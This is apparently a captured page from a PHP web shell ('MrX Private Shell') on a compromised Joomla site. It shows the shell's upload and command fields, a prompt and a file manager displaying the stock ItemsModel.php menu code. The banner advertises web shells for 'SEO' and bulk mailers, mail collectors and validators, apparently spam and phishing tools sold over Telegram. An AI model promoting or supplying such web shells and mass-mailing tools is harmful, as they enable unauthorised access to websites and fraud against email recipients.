__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_menus
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Menus\Administrator\Model;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\Form\Form;
use Joomla\CMS\Language\Associations;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Log\Log;
use Joomla\CMS\MVC\Factory\MVCFactoryInterface;
use Joomla\CMS\MVC\Model\ListModel;
use Joomla\Database\ParameterType;
use Joomla\Database\QueryInterface;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Menu Item List Model for Menus.
 *
 * @since  1.6
 */
class ItemsModel extends ListModel
{
    /**
     * Constructor.
     *
     * @param   array                 $config   An optional associative array of configuration settings.
     * @param   ?MVCFactoryInterface  $factory  The factory.
     *
     * @see     \Joomla\CMS\MVC\Model\BaseDatabaseModel
     * @since   3.2
     */
    public function __construct($config = [], ?MVCFactoryInterface $factory = null)
    {
        if (empty($config['filter_fields'])) {
            $config['filter_fields'] = [
                'id', 'a.id',
                'menutype', 'a.menutype', 'menutype_title',
                'title', 'a.title',
                'alias', 'a.alias',
                'published', 'a.published',
                'access', 'a.access', 'access_level',
                'language', 'a.language',
                'checked_out', 'a.checked_out',
                'checked_out_time', 'a.checked_out_time',
                'lft', 'a.lft',
                'rgt', 'a.rgt',
                'level', 'a.level',
                'path', 'a.path',
                'client_id', 'a.client_id',
                'home', 'a.home',
                'parent_id', 'a.parent_id',
                'publish_up', 'a.publish_up',
                'publish_down', 'a.publish_down',
                'e.element', 'componentName',
                'a.ordering',
            ];

            if (Associations::isEnabled()) {
                $config['filter_fields'][] = 'association';
            }
        }

        parent::__construct($config, $factory);
    }

    /**
     * Method to auto-populate the model state.
     *
     * Note. Calling getState in this method will result in recursion.
     *
     * @param   string  $ordering   An optional ordering field.
     * @param   string  $direction  An optional direction (asc|desc).
     *
     * @return  void
     *
     * @since   1.6
     */
    protected function populateState($ordering = 'a.lft', $direction = 'asc')
    {
        $app = Factory::getApplication();

        $forcedLanguage = $app->getInput()->get('forcedLanguage', '', 'cmd');

        // Adjust the context to support modal layouts.
        if ($layout = $app->getInput()->get('layout')) {
            $this->context .= '.' . $layout;
        }

        // Adjust the context to support forced languages.
        if ($forcedLanguage) {
            $this->context .= '.' . $forcedLanguage;
        }

        // Watch changes in client_id and menutype and keep sync whenever needed.
        $currentClientId = $app->getUserState($this->context . '.client_id', 0);
        $clientId        = $app->getInput()->getInt('client_id', $currentClientId);

        // Load mod_menu.ini file when client is administrator
        if ($clientId == 1) {
            Factory::getLanguage()->load('mod_menu', JPATH_ADMINISTRATOR);
        }

        $currentMenuType = $app->getUserState($this->context . '.menutype', '');
        $menuType        = $app->getInput()->getString('menutype', $currentMenuType);

        // If client_id changed clear menutype and reset pagination
        if ($clientId != $currentClientId) {
            $menuType = '';

            $app->getInput()->set('limitstart', 0);
            $app->getInput()->set('menutype', '');
        }

        // If menutype changed reset pagination.
        if ($menuType != $currentMenuType) {
            $app->getInput()->set('limitstart', 0);
        }

        if (!$menuType) {
            $app->setUserState($this->context . '.menutype', '');
            $this->setState('menutypetitle', '');
            $this->setState('menutypeid', '');
        } elseif ($menuType == 'main') {
            // Special menu types, if selected explicitly, will be allowed as a filter
            // Adjust client_id to match the menutype. This is safe as client_id was not changed in this request.
            $app->getInput()->set('client_id', 1);

            $app->setUserState($this->context . '.menutype', $menuType);
            $this->setState('menutypetitle', ucfirst($menuType));
            $this->setState('menutypeid', -1);
        } elseif ($cMenu = $this->getMenu($menuType, true)) {
            // Get the menutype object with appropriate checks.
            // Adjust client_id to match the menutype. This is safe as client_id was not changed in this request.
            $app->getInput()->set('client_id', $cMenu->client_id);

            $app->setUserState($this->context . '.menutype', $menuType);
            $this->setState('menutypetitle', $cMenu->title);
            $this->setState('menutypeid', $cMenu->id);
        } else {
            // This menutype does not exist, leave client id unchanged but reset menutype and pagination
            $menuType = '';

            $app->getInput()->set('limitstart', 0);
            $app->getInput()->set('menutype', $menuType);

            $app->setUserState($this->context . '.menutype', $menuType);
            $this->setState('menutypetitle', '');
            $this->setState('menutypeid', '');
        }

        // Client id filter
        $clientId = (int) $this->getUserStateFromRequest($this->context . '.client_id', 'client_id', 0, 'int');
        $this->setState('filter.client_id', $clientId);

        // Use a different filter file when client is administrator
        if ($clientId == 1) {
            $this->filterFormName = 'filter_itemsadmin';
        }

        $this->setState('filter.menutype', $menuType);

        $language = $this->getUserStateFromRequest($this->context . '.filter.language', 'filter_language', '');
        $this->setState('filter.language', $language);

        // Component parameters.
        $params = ComponentHelper::getParams('com_menus');
        $this->setState('params', $params);

        // List state information.
        parent::populateState($ordering, $direction);

        // Force a language.
        if (!empty($forcedLanguage)) {
            $this->setState('filter.language', $forcedLanguage);
        }
    }

    /**
     * Method to get a store id based on model configuration state.
     *
     * This is necessary because the model is used by the component and
     * different modules that might need different sets of data or different
     * ordering requirements.
     *
     * @param   string  $id  A prefix for the store id.
     *
     * @return  string  A store id.
     *
     * @since   1.6
     */
    protected function getStoreId($id = '')
    {
        // Compile the store id.
        $id .= ':' . $this->getState('filter.access');
        $id .= ':' . $this->getState('filter.published');
        $id .= ':' . $this->getState('filter.language');
        $id .= ':' . $this->getState('filter.search');
        $id .= ':' . $this->getState('filter.parent_id');
        $id .= ':' . $this->getState('filter.menutype');
        $id .= ':' . $this->getState('filter.client_id');

        return parent::getStoreId($id);
    }

    /**
     * Builds an SQL query to load the list data.
     *
     * @return  QueryInterface    A query object.
     *
     * @since   1.6
     */
    protected function getListQuery()
    {
        // Create a new query object.
        $db       = $this->getDatabase();
        $query    = $db->getQuery(true);
        $user     = $this->getCurrentUser();
        $clientId = (int) $this->getState('filter.client_id');

        // Select all fields from the table.
        $query->select(
            // We can't quote state values because they could contain expressions.
            $this->getState(
                'list.select',
                [
                    $db->quoteName('a.id'),
                    $db->quoteName('a.menutype'),
                    $db->quoteName('a.title'),
                    $db->quoteName('a.alias'),
                    $db->quoteName('a.note'),
                    $db->quoteName('a.path'),
                    $db->quoteName('a.link'),
                    $db->quoteName('a.type'),
                    $db->quoteName('a.parent_id'),
                    $db->quoteName('a.level'),
                    $db->quoteName('a.component_id'),
                    $db->quoteName('a.checked_out'),
                    $db->quoteName('a.checked_out_time'),
                    $db->quoteName('a.browserNav'),
                    $db->quoteName('a.access'),
                    $db->quoteName('a.img'),
                    $db->quoteName('a.template_style_id'),
                    $db->quoteName('a.params'),
                    $db->quoteName('a.lft'),
                    $db->quoteName('a.rgt'),
                    $db->quoteName('a.home'),
                    $db->quoteName('a.language'),
                    $db->quoteName('a.client_id'),
                    $db->quoteName('a.publish_up'),
                    $db->quoteName('a.publish_down'),
                ]
            )
        )
            ->select(
                [
                    $db->quoteName('l.title', 'language_title'),
                    $db->quoteName('l.image', 'language_image'),
                    $db->quoteName('l.sef', 'language_sef'),
                    $db->quoteName('u.name', 'editor'),
                    $db->quoteName('c.element', 'componentname'),
                    $db->quoteName('ag.title', 'access_level'),
                    $db->quoteName('mt.id', 'menutype_id'),
                    $db->quoteName('mt.title', 'menutype_title'),
                    $db->quoteName('e.enabled'),
                    $db->quoteName('e.name'),
                    'CASE WHEN ' . $db->quoteName('a.type') . ' = ' . $db->quote('component')
                    . ' THEN ' . $db->quoteName('a.published') . ' +2 * (' . $db->quoteName('e.enabled') . ' -1)'
                    . ' ELSE ' . $db->quoteName('a.published') . ' END AS ' . $db->quoteName('published'),
                ]
            )
            ->from($db->quoteName('#__menu', 'a'));

        // Join over the language
        $query->join('LEFT', $db->quoteName('#__languages', 'l'), $db->quoteName('l.lang_code') . ' = ' . $db->quoteName('a.language'));

        // Join over the users.
        $query->join('LEFT', $db->quoteName('#__users', 'u'), $db->quoteName('u.id') . ' = ' . $db->quoteName('a.checked_out'));

        // Join over components
        $query->join('LEFT', $db->quoteName('#__extensions', 'c'), $db->quoteName('c.extension_id') . ' = ' . $db->quoteName('a.component_id'));

        // Join over the asset groups.
        $query->join('LEFT', $db->quoteName('#__viewlevels', 'ag'), $db->quoteName('ag.id') . ' = ' . $db->quoteName('a.access'));

        // Join over the menu types.
        $query->join('LEFT', $db->quoteName('#__menu_types', 'mt'), $db->quoteName('mt.menutype') . ' = ' . $db->quoteName('a.menutype'));

        // Join over the extensions
        $query->join('LEFT', $db->quoteName('#__extensions', 'e'), $db->quoteName('e.extension_id') . ' = ' . $db->quoteName('a.component_id'));

        // Join over the associations.
        if (Associations::isEnabled()) {
            $subQuery = $db->getQuery(true)
                ->select('COUNT(' . $db->quoteName('asso1.id') . ') > 1')
                ->from($db->quoteName('#__associations', 'asso1'))
                ->join('INNER', $db->quoteName('#__associations', 'asso2'), $db->quoteName('asso1.key') . ' = ' . $db->quoteName('asso2.key'))
                ->where(
                    [
                        $db->quoteName('asso1.id') . ' = ' . $db->quoteName('a.id'),
                        $db->quoteName('asso1.context') . ' = ' . $db->quote('com_menus.item'),
                    ]
                );

            $query->select('(' . $subQuery . ') AS ' . $db->quoteName('association'));
        }

        // Exclude the root category.
        $query->where(
            [
                $db->quoteName('a.id') . ' > 1',
                $db->quoteName('a.client_id') . ' = :clientId',
            ]
        )
            ->bind(':clientId', $clientId, ParameterType::INTEGER);

        // Filter on the published state.
        $published = $this->getState('filter.published', '');

        if (is_numeric($published)) {
            $published = (int) $published;
            $query->where($db->quoteName('a.published') . ' = :published')
                ->bind(':published', $published, ParameterType::INTEGER);
        } elseif ($published === '') {
            $query->where($db->quoteName('a.published') . ' IN (0, 1)');
        }

        // Filter by search in title, alias or id
        if ($search = trim($this->getState('filter.search', ''))) {
            if (stripos($search, 'id:') === 0) {
                $search = (int) substr($search, 3);
                $query->where($db->quoteName('a.id') . ' = :search')
                    ->bind(':search', $search, ParameterType::INTEGER);
            } elseif (stripos($search, 'link:') === 0) {
                if ($search = str_replace(' ', '%', trim(substr($search, 5)))) {
                    $query->where($db->quoteName('a.link') . ' LIKE :search')
                        ->bind(':search', $search);
                }
            } else {
                $search = '%' . str_replace(' ', '%', trim($search)) . '%';
                $query->extendWhere(
                    'AND',
                    [
                        $db->quoteName('a.title') . ' LIKE :search1',
                        $db->quoteName('a.alias') . ' LIKE :search2',
                        $db->quoteName('a.note') . ' LIKE :search3',
                    ],
                    'OR'
                )
                    ->bind([':search1', ':search2', ':search3'], $search);
            }
        }

        // Filter the items over the parent id if set.
        $parentId = (int) $this->getState('filter.parent_id');
        $level    = (int) $this->getState('filter.level');

        if ($parentId) {
            // Create a subquery for the sub-items list
            $subQuery = $db->getQuery(true)
                ->select($db->quoteName('sub.id'))
                ->from($db->quoteName('#__menu', 'sub'))
                ->join(
                    'INNER',
                    $db->quoteName('#__menu', 'this'),
                    $db->quoteName('sub.lft') . ' > ' . $db->quoteName('this.lft')
                    . ' AND ' . $db->quoteName('sub.rgt') . ' < ' . $db->quoteName('this.rgt')
                )
                ->where($db->quoteName('this.id') . ' = :parentId1');

            if ($level) {
                $subQuery->where($db->quoteName('sub.level') . ' <= ' . $db->quoteName('this.level') . ' + :level - 1');
                $query->bind(':level', $level, ParameterType::INTEGER);
            }

            // Add the subquery to the main query
            $query->extendWhere(
                'AND',
                [
                    $db->quoteName('a.parent_id') . ' = :parentId2',
                    $db->quoteName('a.parent_id') . ' IN (' . (string) $subQuery . ')',
                ],
                'OR'
            )
                ->bind([':parentId1', ':parentId2'], $parentId, ParameterType::INTEGER);
        } elseif ($level) {
            // Filter on the level.
            $query->where($db->quoteName('a.level') . ' <= :level')
                ->bind(':level', $level, ParameterType::INTEGER);
        }

        // Filter the items over the menu id if set.
        $menuType = $this->getState('filter.menutype');

        // A value "" means all
        if ($menuType == '') {
            // Load all menu types we have manage access
            $query2 = $db->getQuery(true)
                ->select(
                    [
                        $db->quoteName('id'),
                        $db->quoteName('menutype'),
                    ]
                )
                ->from($db->quoteName('#__menu_types'))
                ->where($db->quoteName('client_id') . ' = :clientId')
                ->bind(':clientId', $clientId, ParameterType::INTEGER)
                ->order($db->quoteName('title'));

            // Show protected items on explicit filter only
            $query->where($db->quoteName('a.menutype') . ' != ' . $db->quote('main'));

            $menuTypes = $db->setQuery($query2)->loadObjectList();

            if ($menuTypes) {
                $types = [];

                foreach ($menuTypes as $type) {
                    if ($user->authorise('core.manage', 'com_menus.menu.' . (int) $type->id)) {
                        $types[] = $type->menutype;
                    }
                }

                if ($types) {
                    $query->whereIn($db->quoteName('a.menutype'), $types);
                } else {
                    $query->where(0);
                }
            }
        } elseif (\strlen($menuType)) {
            // Default behavior => load all items from a specific menu
            $query->where($db->quoteName('a.menutype') . ' = :menuType')
                ->bind(':menuType', $menuType);
        } else {
            // Empty menu type => error
            $query->where('1 != 1');
        }

        // Filter on the access level.
        if ($access = (int) $this->getState('filter.access')) {
            $query->where($db->quoteName('a.access') . ' = :access')
                ->bind(':access', $access, ParameterType::INTEGER);
        }

        // Implement View Level Access
        if (!$user->authorise('core.admin')) {
            if ($groups = $user->getAuthorisedViewLevels()) {
                $query->whereIn($db->quoteName('a.access'), $groups);
            }
        }

        // Filter on the language.
        if ($language = $this->getState('filter.language')) {
            $query->where($db->quoteName('a.language') . ' = :language')
                ->bind(':language', $language);
        }

        // Filter on componentName
        if ($componentName = $this->getState('filter.componentName')) {
            $query->where($db->quoteName('e.element') . ' = :component')
                ->bind(':component', $componentName);
        }

        // Add the list ordering clause.
        $query->order($db->escape($this->getState('list.ordering', 'a.lft')) . ' ' . $db->escape($this->getState('list.direction', 'ASC')));

        return $query;
    }

    /**
     * Method to allow derived classes to preprocess the form.
     *
     * @param   Form    $form   A Form object.
     * @param   mixed   $data   The data expected for the form.
     * @param   string  $group  The name of the plugin group to import (defaults to "content").
     *
     * @return  void
     *
     * @since   3.2
     * @throws  \Exception if there is an error in the form event.
     */
    protected function preprocessForm(Form $form, $data, $group = 'content')
    {
        $name = $form->getName();

        if ($name == 'com_menus.items.filter') {
            $clientId = $this->getState('filter.client_id');
            $form->setFieldAttribute('menutype', 'clientid', $clientId);
        } elseif (str_contains($name, 'com_menus.items.modal.')) {
            $form->removeField('client_id');

            $clientId = $this->getState('filter.client_id');
            $form->setFieldAttribute('menutype', 'clientid', $clientId);
        }
    }

    /**
     * Get the client id for a menu
     *
     * @param   string   $menuType  The menutype identifier for the menu
     * @param   boolean  $check     Flag whether to perform check against ACL as well as existence
     *
     * @return  integer
     *
     * @since   3.7.0
     */
    protected function getMenu($menuType, $check = false)
    {
        $db    = $this->getDatabase();
        $query = $db->getQuery(true);

        $query->select($db->quoteName('a') . '.*')
            ->from($db->quoteName('#__menu_types', 'a'))
            ->where($db->quoteName('menutype') . ' = :menuType')
            ->bind(':menuType', $menuType);

        $cMenu = $db->setQuery($query)->loadObject();

        if ($check) {
            // Check if menu type exists.
            if (!$cMenu) {
                Log::add(Text::_('COM_MENUS_ERROR_MENUTYPE_NOT_FOUND'), Log::ERROR, 'jerror');

                return false;
            }

            if (!$this->getCurrentUser()->authorise('core.manage', 'com_menus.menu.' . $cMenu->id)) {
                // Check if menu type is valid against ACL.
                Log::add(Text::_('JERROR_ALERTNOAUTHOR'), Log::ERROR, 'jerror');

                return false;
            }
        }

        return $cMenu;
    }

    /**
     * Method to get an array of data items.
     *
     * @return  mixed  An array of data items on success, false on failure.
     *
     * @since   3.0.1
     */
    public function getItems()
    {
        $store = $this->getStoreId();

        if (!isset($this->cache[$store])) {
            $items  = parent::getItems();
            $lang   = Factory::getLanguage();
            $client = $this->state->get('filter.client_id');

            if ($items) {
                foreach ($items as $item) {
                    if ($extension = $item->componentname) {
                        $lang->load("$extension.sys", JPATH_ADMINISTRATOR)
                        || $lang->load("$extension.sys", JPATH_ADMINISTRATOR . '/components/' . $extension);
                    }

                    // Translate component name
                    if ($client === 1) {
                        $item->title = Text::_($item->title);
                    }
                }
            }

            $this->cache[$store] = $items;
        }

        return $this->cache[$store];
    }
}

Filemanager

Name Type Size Permission Actions
ItemModel.php File 57.66 KB 0664
ItemsModel.php File 21.85 KB 0664
MenuModel.php File 11.49 KB 0664
MenusModel.php File 9.57 KB 0664
MenutypesModel.php File 19.99 KB 0664
Filemanager